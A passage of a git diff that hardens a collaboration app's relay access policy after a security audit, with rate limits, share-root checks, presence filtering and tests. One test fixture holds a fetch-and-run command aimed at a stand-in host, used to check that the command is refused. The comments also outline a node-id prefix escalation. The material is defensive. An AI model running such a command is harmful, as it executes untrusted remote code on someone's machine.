unaffected', () => {diff --git a/src/core/relay/access-policy.ts b/src/core/relay/access-policy.tsindex 46c027d37..cdc3ab06c 100644--- a/src/core/relay/access-policy.ts+++ b/src/core/relay/access-policy.ts@@ -26,7 +26,9 @@ import type { TeamRole } from './team-store'import type { AccessDecision } from './relay-host'import type { UiSink } from '../ui-sink-registry'import { stripSharedNodeExec } from '../../shared/node-exec'-import type { CanvasNodeState } from '../../shared/types'+import { BOARD_LOG_TEXT_MAX, type CanvasNodeState } from '../../shared/types'+import type { PeerState } from '../../shared/presence'+import { shareRootProblem, within } from './share-root'export interface AccessContext {role: TeamRole@@ -48,6 +50,13 @@ export interface AccessContext {/** Does `p` resolve (symlinks followed) to a regular file? false when it is missing, not a file,* or unreadable. Only the git rule asks it (`ownRepoMarker`). */isFile(p: string): boolean+ /** The host user's home directory, for `shareRootProblem` (a shared root that IS the home, or+ * contains it, is never a root). Absent = `os.homedir()`. */+ homeDir?: string+ /** The nodes whose current AGENT session is `agentSessionId` (the agent-status mirror's record). A+ * `context:update` without a `nodeId` is attributed through it; absent = such an update is never+ * attributable, so a non-editor never receives it. */+ nodesOfAgentSession?(agentSessionId: string): readonly string[]}type Check = (args: unknown[], ctx: AccessContext) => AccessDecision@@ -82,17 +91,16 @@ function sharedRoots(ctx: AccessContext): string[] {const roots: string[] = []for (const cwd of ctx.projectCwds()) {if (typeof cwd !== 'string' || !path.isAbsolute(cwd)) continue+ // A shared folder that is the disk root, the home directory or an ancestor of either (or of this+ // server's data dir) is NOT a root: every file under it would be readable, `~/.ssh` included+ // (security audit F4). Its files and git are refused to non-editors (share-root.ts).+ if (shareRootProblem(cwd, { home: ctx.homeDir, dataDir: ctx.hostDataDir, realpath: (p) => ctx.realpath(p) })) continueroots.push(ctx.realpath(cwd) ?? cwd)}return roots}-/** `p` is `root` or below it. Relative-path based, so a sibling like `/srv/app2` is not inside- * `/srv/app`, a root of `/` contains everything, and a path on another Windows drive is outside. */-export function within(root: string, p: string): boolean {- const rel = path.relative(root, p)- return rel === '' || (rel !== '..' && !rel.startsWith('..' + path.sep) && !path.isAbsolute(rel))-}+export { within }const READ_JAIL = 'Viewers can only read files inside a shared project.'const HOST_DATA = "Viewers can't read this server's own data folder."@@ -276,10 +284,48 @@ export const COMMENT: Readonly<Record<string, Check>> = Object.freeze({// presence identity): a comment under someone else's name is a documented limit.[IPC.boardLogAppend]: (a, ctx) => {if (!sharedProject(a[0], ctx)) return no('That project is not shared.')- return field(a[1], 'kind') === 'comment' ? OK : no('Commenters can only add comments to the board log.')+ if (field(a[1], 'kind') !== 'comment') return no('Commenters can only add comments to the board log.')+ // The entry is written as sent, extra fields included, and the log keeps ONE rotated generation+ // (board-log.ts, 4 MiB): an entry padded with a megabyte of junk rotated real history out in a+ // handful of appends (security audit F3). Only the fields a comment has are kept; the per-peer+ // rate and byte budget is the host's (`createAppendBudget`, applied by hosted-service.ts).+ const entry = commentEntry(a[1])+ return entry ? { allow: true, args: [a[0], entry] } : no('That is not a board comment.')}})+const COMMENT_ID_MAX = 128+const COMMENT_NAME_MAX = 128+const COMMENT_COLOR_MAX = 32++/** A Commenter's board entry reduced to the fields a comment has (`BoardLogEntry`), each type-checked+ * and bounded; null when it is not a comment at all. The text is clamped by the store+ * (BOARD_LOG_TEXT_MAX); bounding it here too keeps a hostile one from costing a 1 MB copy. */+export function commentEntry(v: unknown): Record<string, unknown> | null {+ if (v === null || typeof v !== 'object' || Array.isArray(v)) return null+ const e = v as Record<string, unknown>+ const author = e.author+ if (+ field(e, 'kind') !== 'comment' ||+ typeof e.id !== 'string' || !e.id || e.id.length > COMMENT_ID_MAX ||+ typeof e.ts !== 'number' || !Number.isFinite(e.ts) ||+ author === null || typeof author !== 'object' || Array.isArray(author) ||+ typeof (author as Record<string, unknown>).name !== 'string' ||+ typeof (author as Record<string, unknown>).color !== 'string' ||+ (e.text !== undefined && typeof e.text !== 'string')+ ) {+ return null+ }+ const a = author as { name: string; color: string }+ if (a.name.length > COMMENT_NAME_MAX || a.color.length > COMMENT_COLOR_MAX) return null+ const out: Record<string, unknown> = { id: e.id, ts: e.ts, author: { name: a.name, color: a.color }, kind: 'comment' }+ if (typeof e.text === 'string') {+ out.text = e.text.length > BOARD_LOG_TEXT_MAX + 1 ? e.text.slice(0, BOARD_LOG_TEXT_MAX + 1) : e.text+ }+ if (typeof e.nodeId === 'string' && e.nodeId.length <= COMMENT_ID_MAX) out.nodeId = e.nodeId+ return out+}+/*** Relay-reachable channels reviewed and deliberately left Editor-only: every `IPC.*` the relay tab's* API builders reference that is not in VIEW/COMMENT (the guard test lists them). Listing a channel@@ -514,10 +560,21 @@ export const VIEW_EVENTS: Readonly<Record<string, EventCheck>> = Object.freeze({[IPC.workspaceExternalChange]: (a, ctx) => sharedProject(field(a[0], 'id'), ctx),[IPC.workspaceServerChange]: (a, ctx) => sharedProject(field(a[0], 'id'), ctx),[IPC.projectTrustChanged]: (a, ctx) => sharedProject(field(a[0], 'projectId'), ctx),- // Token counts + model for an opaque agent session id: no project, node, path or text.- [IPC.contextUpdate]: always,- [IPC.presenceSync]: always,- [IPC.presencePeer]: always,+ // Token counts, model id and effort for one agent session. Only for a SHARED node's session+ // (security audit (d)): by its `nodeId` when the payload names one, else through the mirror's+ // session → node record; an update that cannot be attributed is dropped, never guessed.+ [IPC.contextUpdate]: (a, ctx) => {+ const nodeId = field(a[0], 'nodeId')+ if (typeof nodeId === 'string') return sharedNode(nodeId, ctx)+ const sessionId = field(a[0], 'sessionId')+ if (typeof sessionId !== 'string' || !sessionId || !ctx.nodesOfAgentSession) return false+ const nodes = ctx.nodesOfAgentSession(sessionId)+ return nodes.length > 0 && nodes.every((n) => sharedNode(n, ctx))+ },+ // `presence:sync` / `presence:peer` are NOT here: they carry every peer's project, focus node,+ // typing node and cursor-chat text for ALL projects, and what a non-editor may see of them depends+ // on what it already saw, so they go through the stateful `createPresenceFilter` (wrapSinkForRole,+ // scoped-guest-policy wrapSink). Through this table they are dropped.// The shared set itself — exactly what a viewer's narrowed workspace already reveals.[IPC.relayHostedSharedChanged]: always})@@ -650,6 +707,159 @@ export function filterOutboundBinary(buf: Uint8Array, ctx: AccessContext): boolereturn sessionId !== null && sessionContent(sessionId, ctx)}+/**+ * ── PRESENCE, per peer ─────────────────────────────────────────────────────────────────────────────+ *+ * `presence:sync` / `presence:peer` carry EVERY peer's project id, focused node id, typing node id,+ * dino node and live cursor-chat text, for every project on this core. A peer limited to some+ * projects (a hosted Viewer/Commenter, a scoped Team Access guest) must see presence only for peers+ * ON its shared projects, and no node reference outside them (security audit (a): it was also the+ * targeting primitive for F1).+ *+ * Why a stateful filter and not a VIEW_EVENTS entry: an `update` diff carries only the changed+ * fields, so whether it may be delivered depends on the peer's project, which arrived in an EARLIER+ * event; and a peer that moves INTO a shared project must appear with its name and colour, which the+ * recipient never received. So the filter tracks every peer's full state (`PeerState`) and what the+ * recipient currently believes is visible, and rewrites the stream:+ * - sync → the visible peers only, each with off-scope node references nulled;+ * - a peer moving in → a synthesised `join`; moving out → a synthesised `leave`;+ * - an update of a visible peer → its patch, node references sanitised;+ * - an editor (shell access) gets the stream as-is; a change of role or of the shared set is+ * applied on the next presence event, a role change by resending a whole `sync`.+ * Tracking runs BEFORE the context is built, so a context that cannot be built drops the event+ * without the tracked state drifting. Anything that does not parse as presence is dropped.+ */+export interface PresenceFilter {+ /** `undefined`: not a presence event (let the caller's other filters judge it). `null`: drop it.+ * A string: send this instead. `ctxFor` may throw; the caller's guard drops the event then. */+ handle(json: string, ctxFor: () => AccessContext): string | null | undefined+}++/** Peers tracked per sink. The hub's own table is bounded by the connected clients; this is a guard. */+const PRESENCE_PEERS_MAX = 1024++function isPeer(v: unknown): v is PeerState {+ return v !== null && typeof v === 'object' && typeof (v as { clientId?: unknown }).clientId === 'number'+}++export function createPresenceFilter(): PresenceFilter {+ const peers = new Map<number, PeerState>()+ /** The peers the recipient was last told about (and not told left). */+ const delivered = new Set<number>()+ /** Whether the recipient's view is the unfiltered one (an editor), the filtered one, or neither yet. */+ let mode: 'full' | 'filtered' | null = null++ const track = (channel: string, args: unknown[]): boolean => {+ if (channel === IPC.presenceSync) {+ if (!Array.isArray(args[0])) return false+ peers.clear()+ for (const p of args[0]) if (isPeer(p) && peers.size < PRESENCE_PEERS_MAX) peers.set(p.clientId, p)+ return true+ }+ const d = args[0] as { op?: unknown; peer?: unknown; clientId?: unknown; patch?: unknown } | undefined+ if (!d || typeof d !== 'object') return false+ if (d.op === 'join' && isPeer(d.peer)) {+ if (peers.size < PRESENCE_PEERS_MAX || peers.has(d.peer.clientId)) peers.set(d.peer.clientId, d.peer)+ return true+ }+ if (d.op === 'leave' && typeof d.clientId === 'number') {+ peers.delete(d.clientId)+ return true+ }+ if (d.op === 'update' && typeof d.clientId === 'number' && d.patch !== null && typeof d.patch === 'object') {+ const prev = peers.get(d.clientId)+ if (prev) {+ const patch = d.patch as Partial<PeerState>+ const next: PeerState = { ...prev, ...patch, clientId: d.clientId }+ // A cursor-chat bubble belongs to the canvas it was typed on: one typed on another project+ // must not appear with the peer when it moves onto a shared one.+ if ('projectId' in patch && patch.projectId !== prev.projectId && !('chat' in patch)) next.chat = null+ peers.set(d.clientId, next)+ }+ return true+ }+ return false+ }++ const visible = (p: PeerState, ctx: AccessContext): boolean =>+ typeof p.projectId === 'string' && ctx.sharedProjects.has(p.projectId)+ /** A peer's node references, nulled where they point outside the shared projects. */+ const sanitize = <T extends Partial<PeerState>>(p: T, ctx: AccessContext): T => {+ const out: T = { ...p }+ if ('focus' in out && out.focus !== null && !sharedNode(out.focus, ctx)) out.focus = null+ if ('typing' in out && out.typing !== null && !sharedNode(field(out.typing, 'nodeId'), ctx)) out.typing = null+ if ('dino' in out && out.dino !== null && !sharedNode(field(out.dino, 'nodeId'), ctx)) out.dino = null+ return out+ }+ const ev = (channel: string, payload: unknown): string => JSON.stringify({ t: 'ev', channel, args: [payload] })+ const fullSync = (): string => {+ delivered.clear()+ for (const id of peers.keys()) delivered.add(id)+ return ev(IPC.presenceSync, [...peers.values()])+ }+ const filteredSync = (ctx: AccessContext): string => {+ delivered.clear()+ const list: PeerState[] = []+ for (const p of peers.values()) {+ if (!visible(p, ctx)) continue+ delivered.add(p.clientId)+ list.push(sanitize(p, ctx))+ }+ return ev(IPC.presenceSync, list)+ }++ return {+ handle(json, ctxFor) {+ let m: unknown+ try {+ m = JSON.parse(json)+ } catch {+ return undefined+ }+ const channel = field(m, 't') === 'ev' ? field(m, 'channel') : undefined+ if (channel !== IPC.presenceSync && channel !== IPC.presencePeer) return undefined+ const raw = field(m, 'args')+ const args = Array.isArray(raw) ? raw : []+ if (!track(channel, args)) return null+ const ctx = ctxFor()+ if (isEditor(ctx.role)) {+ const was = mode+ mode = 'full'+ if (was === 'filtered') return fullSync()+ if (channel === IPC.presenceSync) return fullSync()+ const d = args[0] as { op: string; clientId?: number; peer?: PeerState }+ if (d.op === 'join' && d.peer) delivered.add(d.peer.clientId)+ if (d.op === 'leave' && typeof d.clientId === 'number') delivered.delete(d.clientId)+ return json+ }+ if (mode !== 'filtered' || channel === IPC.presenceSync) {+ mode = 'filtered'+ return filteredSync(ctx)+ }+ const d = args[0] as { op: string; clientId?: number; peer?: PeerState; patch?: Partial<PeerState> }+ if (d.op === 'leave') {+ const id = d.clientId as number+ if (!delivered.delete(id)) return null+ return ev(IPC.presencePeer, { op: 'leave', clientId: id })+ }+ const id = d.op === 'join' ? (d.peer as PeerState).clientId : (d.clientId as number)+ const now = peers.get(id)+ const was = delivered.has(id)+ const nowVisible = now !== undefined && visible(now, ctx)+ if (!nowVisible) {+ if (!was) return null+ delivered.delete(id)+ return ev(IPC.presencePeer, { op: 'leave', clientId: id })+ }+ if (!was || d.op === 'join') {+ delivered.add(id)+ return ev(IPC.presencePeer, { op: 'join', peer: sanitize(now as PeerState, ctx) })+ }+ return ev(IPC.presencePeer, { op: 'update', clientId: id, patch: sanitize(d.patch ?? {}, ctx) })+ }+ }+}+/*** The peer's sink, filtered for its role. `ctxFor` is asked per message, so a role or share change* applies to the next event or terminal frame. `bufferedAmount` stays the underlying socket's —@@ -657,6 +867,7 @@ export function filterOutboundBinary(buf: Uint8Array, ctx: AccessContext): boole*/export function wrapSinkForRole(sink: UiSink, ctxFor: () => AccessContext): UiSink {const owners: SubagentOwners = new Map()+ const presence = createPresenceFilter()let warned = false/** Run a delivery decision. Fail closed WITHOUT throwing: the registry reads a throwing sink as a* dead socket and would tear the peer down while its relay socket stays open. The socket's own@@ -678,6 +889,13 @@ export function wrapSinkForRole(sink: UiSink, ctxFor: () => AccessContext): UiSi// exec fields (redactOutboundEvent). Decided inside `decide`, so a throw drops the event.let out: string | null = nulldecide(() => {+ // Presence first: it is rewritten per peer (see `createPresenceFilter`), never passed or+ // dropped whole by the stateless table.+ const p = presence.handle(json, ctxFor)+ if (p !== undefined) {+ out = p+ return p !== null+ }const ctx = ctxFor()if (!filterOutboundEvent(json, ctx, owners)) return falseout = isEditor(ctx.role) ? json : redactOutboundEvent(json)diff --git a/src/core/relay/append-budget.test.ts b/src/core/relay/append-budget.test.tsnew file mode 100644index 000000000..1b03ae8e5--- /dev/null+++ b/src/core/relay/append-budget.test.ts@@ -0,0 +1,62 @@+// Security audit F3: a hosted Commenter could rotate a project's real board history out of its one+// rotated generation by appending fast. The budget is per peer key, rate- and byte-bounded.+import { describe, it, expect } from 'vitest'+import {+ BOARD_APPEND_BYTES_PER_WINDOW,+ BOARD_APPEND_MIN_INTERVAL_MS,+ BOARD_APPEND_WINDOW_MS,+ createAppendBudget,+ createAppendBudgets+} from './append-budget'++describe('createAppendBudget', () => {+ it('one comment per interval; a refused append spends nothing', () => {+ let t = 1_000_000+ const b = createAppendBudget({ now: () => t })+ expect(b.admit(100)).toBe(true)+ expect(b.admit(100)).toBe(false)+ t += BOARD_APPEND_MIN_INTERVAL_MS - 1+ expect(b.admit(100)).toBe(false)+ t += 1+ expect(b.admit(100)).toBe(true)+ })+ it('at most the byte budget per window, refilled as old appends leave it', () => {+ let t = 1_000_000+ const b = createAppendBudget({ now: () => t })+ const chunk = 16 * 1024+ expect(b.admit(chunk)).toBe(true)+ t += BOARD_APPEND_MIN_INTERVAL_MS+ expect(b.admit(chunk)).toBe(true)+ t += BOARD_APPEND_MIN_INTERVAL_MS+ expect(b.admit(1)).toBe(false) // the window holds BOARD_APPEND_BYTES_PER_WINDOW already+ expect(BOARD_APPEND_BYTES_PER_WINDOW).toBe(2 * chunk)+ t += BOARD_APPEND_WINDOW_MS+ expect(b.admit(chunk)).toBe(true)+ })+ it('the 8 MiB a flood needs to rotate history out takes hours, not seconds', () => {+ let t = 0+ const b = createAppendBudget({ now: () => t })+ let bytes = 0+ for (let i = 0; i < 100_000 && bytes < 8 * 1024 * 1024; i++) {+ if (b.admit(16 * 1024)) bytes += 16 * 1024+ t += BOARD_APPEND_MIN_INTERVAL_MS+ }+ expect(t / 3_600_000).toBeGreaterThan(4)+ })+ it('a nonsense size spends nothing rather than throwing', () => {+ const b = createAppendBudget({ now: () => 0 })+ expect(b.admit(Number.NaN)).toBe(true)+ })+})++describe('createAppendBudgets', () => {+ it('one budget per key, the same one on every ask (a reconnect does not reset it), bounded', () => {+ const forKey = createAppendBudgets(2, { now: () => 0 })+ expect(forKey('a').admit(1)).toBe(true)+ expect(forKey('a').admit(1)).toBe(false)+ expect(forKey('b').admit(1)).toBe(true)+ forKey('c')+ // 'a' was evicted by the bound: a fresh budget.+ expect(forKey('a').admit(1)).toBe(true)+ })+})diff --git a/src/core/relay/append-budget.ts b/src/core/relay/append-budget.tsnew file mode 100644index 000000000..bd8d1a93e--- /dev/null+++ b/src/core/relay/append-budget.ts@@ -0,0 +1,67 @@+// How fast a hosted Commenter may append to a board log (security audit F3, 2026-10).+//+// A board log keeps ONE rotated generation (board-log.ts `MAX_BOARD_LOG_BYTES`, 4 MiB): a Commenter+// that appends fast enough rotates the project's real history out of reach, irrecoverably, for the+// whole team. The access policy already reduces a Commenter's entry to a comment's own fields+// (access-policy.ts `commentEntry`, so one entry is at most ~16 KiB); this bounds the RATE, per peer+// key (so reconnecting does not reset it): one comment every `minIntervalMs`, and at most+// `bytesPerWindow` bytes per `windowMs`. At the defaults a flood needs hours of sustained appending+// to push 8 MiB through, which is long enough for an owner to notice and remove the peer. A comment+// a human types is a few hundred bytes, every few seconds at most, and never meets either limit.+//+// Editors and owners are not limited: Editor is shell access, and a shell can rewrite the file.++export const BOARD_APPEND_MIN_INTERVAL_MS = 2_000+export const BOARD_APPEND_WINDOW_MS = 60_000+export const BOARD_APPEND_BYTES_PER_WINDOW = 32 * 1024++export const BOARD_APPEND_REFUSED = 'You are commenting too fast. Wait a moment and try again.'++export interface AppendBudget {+ /** May an append of `bytes` go through now? A refusal spends nothing. */+ admit(bytes: number): boolean+}++export interface AppendBudgetOptions {+ minIntervalMs?: number+ windowMs?: number+ bytesPerWindow?: number+ /** Monotonic ms. Default `performance.now`, so a wall-clock step cannot refill the budget. */+ now?: () => number+}++export function createAppendBudget(opts: AppendBudgetOptions = {}): AppendBudget {+ const minInterval = opts.minIntervalMs ?? BOARD_APPEND_MIN_INTERVAL_MS+ const windowMs = opts.windowMs ?? BOARD_APPEND_WINDOW_MS+ const cap = opts.bytesPerWindow ?? BOARD_APPEND_BYTES_PER_WINDOW+ const now = opts.now ?? (() => performance.now())+ const spent: Array<{ at: number; bytes: number }> = []+ let last = -Infinity+ return {+ admit(bytes) {+ const t = now()+ const size = Number.isFinite(bytes) && bytes > 0 ? bytes : 0+ if (t - last < minInterval) return false+ while (spent.length > 0 && t - spent[0].at >= windowMs) spent.shift()+ const used = spent.reduce((n, e) => n + e.bytes, 0)+ if (used + size > cap) return false+ spent.push({ at: t, bytes: size })+ last = t+ return true+ }+ }+}++/** Budgets per peer key, bounded (oldest out): a key is a 32-byte public key, so the map cannot grow+ * past the team's own size in practice; the bound is a guard. */+export function createAppendBudgets(max = 256, opts: AppendBudgetOptions = {}): (key: string) => AppendBudget {+ const byKey = new Map<string, AppendBudget>()+ return (key) => {+ let b = byKey.get(key)+ if (b) return b+ b = createAppendBudget(opts)+ byKey.set(key, b)+ while (byKey.size > max) byKey.delete(byKey.keys().next().value as string)+ return b+ }+}diff --git a/src/core/relay/hosted-service.test.ts b/src/core/relay/hosted-service.test.tsindex 98a9692dc..5b920e09d 100644--- a/src/core/relay/hosted-service.test.ts+++ b/src/core/relay/hosted-service.test.ts@@ -5,6 +5,7 @@ import fs from 'node:fs'import os from 'node:os'import path from 'node:path'import { createHostedService, PENDING_TTL_MS, PENDING_MAX, type HostedService, type HostedServiceDeps } from './hosted-service'+import { BOARD_APPEND_REFUSED } from './append-budget'import { transportPair } from './transport-pair'import { connectRelayClient, type RelayClientSession } from './relay-client'import { killRelayHostsByPeerKey, type PeerAttach } from './relay-host'@@ -680,6 +681,31 @@ describe('hosted service — roles', () => {})})+describe('hosted service — a Commenter cannot flood the board log (security audit F3)', () => {+ const comment = (id: string) => ({ id, ts: 1, kind: 'comment', author: { name: 'C', color: '#fff' }, text: 'hi', pad: 'A'.repeat(50_000) })+ it('appends are rate-bounded per peer key (a reconnect does not reset it); an owner\'s are not', async () => {+ let t = 1_000_000+ const w = world({ monotonicNow: () => t })+ const owner = await ownerOnline(w)+ const keys = genKeyPair()+ const c = await approvedGuest(w, owner, 'commenter', 5, keys)+ c.req(1, IPC.boardLogAppend, ['P', comment('a')])+ c.req(2, IPC.boardLogAppend, ['P', comment('b')])+ await vi.waitFor(() => expect(c.res(2)).toBeDefined())+ await vi.waitFor(() => expect(c.res(1)).toBeDefined())+ expect(c.res(1)).toMatchObject({ ok: true })+ expect(c.res(2)).toMatchObject({ ok: false, error: { code: 'E_ROLE', message: BOARD_APPEND_REFUSED } })+ t += 5_000+ c.req(3, IPC.boardLogAppend, ['P', comment('c')])+ await vi.waitFor(() => expect(c.res(3)).toMatchObject({ ok: true }))+ owner.req(10, IPC.boardLogAppend, ['P', comment('o1')])+ owner.req(11, IPC.boardLogAppend, ['P', comment('o2')])+ await vi.waitFor(() => expect(owner.res(11)).toMatchObject({ ok: true }))+ expect(owner.res(10)).toMatchObject({ ok: true })+ expect(w.dispatched.filter((m) => m === IPC.boardLogAppend)).toHaveLength(4)+ })+})+describe('hosted service — unshare stops a terminal a viewer is already watching (I3, R45)', () => {it('after `team unshare`, output, size and exit of that terminal no longer reach a viewer; an editor keeps them', async () => {const w = world()diff --git a/src/core/relay/hosted-service.ts b/src/core/relay/hosted-service.tsindex 011e1a301..2ee494453 100644--- a/src/core/relay/hosted-service.ts+++ b/src/core/relay/hosted-service.ts@@ -39,6 +39,7 @@ import type { TrustDeniedReason } from './relay-trust'import { createHostKey, loadHostKey, rotateHostKey, hostAddress, HostKeyUnreadableError } from './host-key'import { TeamStore, peerFor, upsertPeer, removePeer, setShared, TEAM_ROLES, type TeamPeer, type TeamRole } from './team-store'import { decideAccess, wrapSinkForRole, narrowResponseForRole, type AccessContext } from './access-policy'+import { BOARD_APPEND_REFUSED, createAppendBudgets } from './append-budget'import { mintHostToken } from './host-token'import { createHostedScheduler, type Listener, type SchedulerStatus } from './hosted-scheduler'import { encodeJoinCode } from './join-code'@@ -99,6 +100,9 @@ export interface HostedServiceDeps {* are judged by it, so `team unshare` stops a stream the viewer already joined (R45). */nodeOfSession(sessionId: string): string | undefinedprojectCwd(projectId: string): string | undefined+ /** The nodes whose current agent session is this id (`agent-status-mirror` `nodesForAgentSession`).+ * A non-editor's `context:update` is attributed through it; absent = never delivered to one. */+ nodesOfAgentSession?(agentSessionId: string): readonly string[]/** TEST ONLY: an in-process transport per listener. Production opens a real WebSocket. */transport?: () => RelayTransport/** TEST ONLY: the host-token mint's fetch. */@@ -238,6 +242,8 @@ export function createHostedService(deps: HostedServiceDeps): HostedService {* existence (R2) or start one with the key a rotation is replacing. */let lifecycle: Promise<unknown> = Promise.resolve()const conns = new Set<Conn>() // every listener whose session has not ended+ /** A Commenter's board-log append budget, per peer key (see append-budget.ts). */+ const boardBudget = createAppendBudgets(256, { now: monoNow })const pending = new Map<string, PendingEntry>()const onLifecycle = <T>(op: () => Promise<T>): Promise<T> => {@@ -264,7 +270,8 @@ export function createHostedService(deps: HostedServiceDeps): HostedService {// Never readable by a non-editor, even when a shared project's folder contains it (M7).hostDataDir: deps.dataDir,realpath,- isFile+ isFile,+ ...(deps.nodesOfAgentSession ? { nodesOfAgentSession: (sid: string) => deps.nodesOfAgentSession!(sid) } : {})}}@@ -487,7 +494,16 @@ export function createHostedService(deps: HostedServiceDeps): HostedService {if (method === IPC.workspaceSave) return { allow: false, message: RELAY_WORKSPACE_SAVE_REFUSED }const role = standing(c, s)if (role === null) return { allow: false, message: NOT_A_MEMBER }- return decideAccess(kind, method, args, ctxWith(role))+ const decision = decideAccess(kind, method, args, ctxWith(role))+ // A Commenter's board comments are rate- and byte-bounded per peer KEY (a reconnect does+ // not reset it): the log keeps one rotated generation, and a flood would push the+ // project's real history out of it (security audit F3, append-budget.ts).+ if (decision.allow && role === 'commenter' && method === IPC.boardLogAppend) {+ const entry = (decision.args ?? args)[1]+ const bytes = JSON.stringify(entry ?? null)?.length ?? 0+ if (!boardBudget(s.peerKeyB64() ?? '').admit(bytes)) return { allow: false, message: BOARD_APPEND_REFUSED }+ }+ return decision},wrapSink: (s, sink) => {const filtered = wrapSinkForRole(sink, () => ctxWith(standing(c, s) ?? 'viewer'))diff --git a/src/core/relay/scoped-guest-policy.test.ts b/src/core/relay/scoped-guest-policy.test.tsindex 82636d77e..fecfd80b0 100644--- a/src/core/relay/scoped-guest-policy.test.ts+++ b/src/core/relay/scoped-guest-policy.test.ts@@ -7,6 +7,7 @@ import path from 'node:path'import { IPC } from '../../shared/ipc'import { encodePtyData } from '../../shared/rpc'import {+ INTRODUCED_MAX,decideScopedAccess,filterScopedEvent,scopeForTest,@@ -22,18 +23,21 @@ import type { RpcRequest } from '../../shared/rpc'let tmp: stringlet root: string // the shared project's folderlet other: string // another project's folder-let dataDir: string // this app's own data dir, planted INSIDE the shared root+let dataDir: string // this app's own data dir, beside the shared root (a symlink inside points at it)beforeAll(() => {tmp = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'scoped-guest-')))root = path.join(tmp, 'alpha')other = path.join(tmp, 'beta')- dataDir = path.join(root, 'appdata')+ // A share that CONTAINS the data dir is refused whole (share-root.ts); the per-file data-dir jail+ // is the belt behind it, reached here through a symlink planted inside the project.+ dataDir = path.join(tmp, 'appdata')fs.mkdirSync(path.join(root, 'src'), { recursive: true })fs.mkdirSync(other, { recursive: true })fs.mkdirSync(dataDir, { recursive: true })fs.writeFileSync(path.join(root, 'src', 'a.ts'), 'a')fs.writeFileSync(path.join(other, 'secret.txt'), 's')fs.writeFileSync(path.join(dataDir, 'license.json'), '{}')+ fs.symlinkSync(dataDir, path.join(root, 'appdata-link'))// A symlink planted INSIDE the project that points OUT of it, and a dangling one.fs.symlinkSync(path.join(other, 'secret.txt'), path.join(root, 'escape.txt'))fs.symlinkSync(path.join(other, 'not-yet.txt'), path.join(root, 'dangling.txt'))@@ -135,6 +139,10 @@ describe('scoped guest — files and git', () => {})it('never reaches the app data dir, even inside the shared root', () => {expect(allowed(IPC.fsRead, path.join(dataDir, 'license.json'))).toBe(false)+ expect(allowed(IPC.fsRead, path.join(root, 'appdata-link', 'license.json'))).toBe(false)+ // A shared folder that CONTAINS the data dir is not served at all (security audit F4).+ const containing = decideScopedAccess('alpha', { ...deps(), hostDataDir: path.join(root, 'src') }, IPC.fsRead, [path.join(root, 'src', 'a.ts')])+ expect(containing.allow === false && containing.message).toMatch(/data folder/)})it('writes a new file inside the root, refuses through a dangling symlink or an escaping dir', () => {expect(allowed(IPC.fsWrite, path.join(root, 'src', 'new', 'b.ts'), 'x')).toBe(true)@@ -171,13 +179,218 @@ describe('scoped guest — canvas, board and GitHub', () => {expect(allowed(IPC.canvasMut, 'alpha', { op: 'remove', id: 'b1' })).toBe(false)expect(allowed(IPC.canvasMut, 'alpha', node('a1'))).toBe(true)})- it('a node the guest just created is in scope for its first terminal (before the host saves)', () => {+ it('a node the guest just created gets its first terminal (before the host saves) — a SPAWN only', () => {const hooks = scopedGuestHooks('alpha', deps())const ask = (method: string, ...args: unknown[]) => hooks.access!(null as never, 'req', method, args)expect(ask(IPC.ptyCreate, { persistKey: 'fresh', cols: 1, rows: 1 }).allow).toBe(false)const upsert = { op: 'upsert', node: { id: 'fresh', kind: 'terminal', position: { x: 0, y: 0 } } }expect(ask(IPC.canvasMut, 'alpha', upsert).allow).toBe(true)- expect(ask(IPC.ptyCreate, { persistKey: 'fresh', cols: 1, rows: 1 }).allow).toBe(true)+ const d = ask(IPC.ptyCreate, { persistKey: 'fresh', cols: 1, rows: 1 })+ expect(d.allow).toBe(true)+ // `newOnly`: core refuses to join or reattach anything already running under that name.+ expect(d.allow && (d.args?.[0] as Record<string, unknown>).newOnly).toBe(true)+ })+})++// ── Security audit F1 (2026-10): a node id the guest introduced is PENDING until its own spawn ──────+//+// `canvas:mut` is a cast admitted before the reflector validates anything, so any id no project holds+// used to become "the guest's new node" — and every node-keyed pty verb then accepted it. A prefix of+// another project's id reached that terminal by tmux prefix matching (closed separately by exact+// targets, pty-exact-target.realtmux.test.ts); an orphan's exact id reached the orphan itself.+describe('scoped guest — an introduced node unlocks nothing but its own spawn', () => {+ // An SSH project: the guest is granted no local shell at all, which made F1 a real escalation.+ const sshDeps = (sessions: Record<string, string> = {}, held: Record<string, string[]> = {}): ScopedGuestDeps => ({+ projectsOfNode: (id) => held[id] ?? (id === 'term-ssh-1' ? ['alpha'] : id === 'term-mgx1abcd-1a2b3c4d' ? ['beta'] : []),+ nodeOfSession: (sid) => sessions[sid],+ projectCwd: () => undefined,+ projectIsRemote: () => true,+ hostDataDir: '/nonexistent-data-dir'+ })+ const upsert = (id: string) => ({ op: 'upsert', node: { id } })+ const NODE_VERBS: Array<[string, unknown[]]> = [+ [IPC.ptySendText, ['curl https://evil.example/x | sh', true]],+ [IPC.ptySendChatPrompt, ['hello', 'claude']],+ [IPC.ptySendToEmptyPrompt, ['x']],+ [IPC.ptyCapture, [true]],+ [IPC.ptyReadScrollback, []],+ [IPC.ptyPaneCwd, []],+ [IPC.ptyPaneCommand, []],+ [IPC.ptyPaneOwner, []],+ [IPC.ptyTerminateForeground, []],+ [IPC.ptySessionAge, []],+ [IPC.ptyDestroy, []],+ [IPC.ptyRecycle, []],+ [IPC.ptyReadSessionName, []]+ ]++ it('a PREFIX of another project\'s node id is pending: every node-keyed verb refuses it', () => {+ const hooks = scopedGuestHooks('alpha', sshDeps())+ const access = (kind: 'req' | 'cast', m: string, a: unknown[]) => hooks.access!(null as never, kind, m, a)+ // The victim's exact id is held by another project → refused, as before.+ expect(access('cast', IPC.canvasMut, ['alpha', upsert('term-mgx1abcd-1a2b3c4d')]).allow).toBe(false)+ const prefix = 'term-mgx1abcd-1a2b'+ expect(access('cast', IPC.canvasMut, ['alpha', upsert(prefix)]).allow).toBe(true)+ for (const [m, rest] of NODE_VERBS) expect(access('req', m, [prefix, ...rest]).allow, m).toBe(false)+ // Its spawn is allowed, and only as a spawn: newOnly, and requireRemote for an SSH project.+ const d = access('req', IPC.ptyCreate, [{ persistKey: prefix, shell: '/bin/sh' }])+ expect(d.allow).toBe(true)+ expect(d.allow && d.args?.[0]).toMatchObject({ newOnly: true, requireRemote: true })+ })++ it('stays pending after the host SAVES it into the shared project: being on the canvas is not ownership', () => {+ const held: Record<string, string[]> = {}+ const hooks = scopedGuestHooks('alpha', sshDeps({}, held))+ const access = (kind: 'req' | 'cast', m: string, a: unknown[]) => 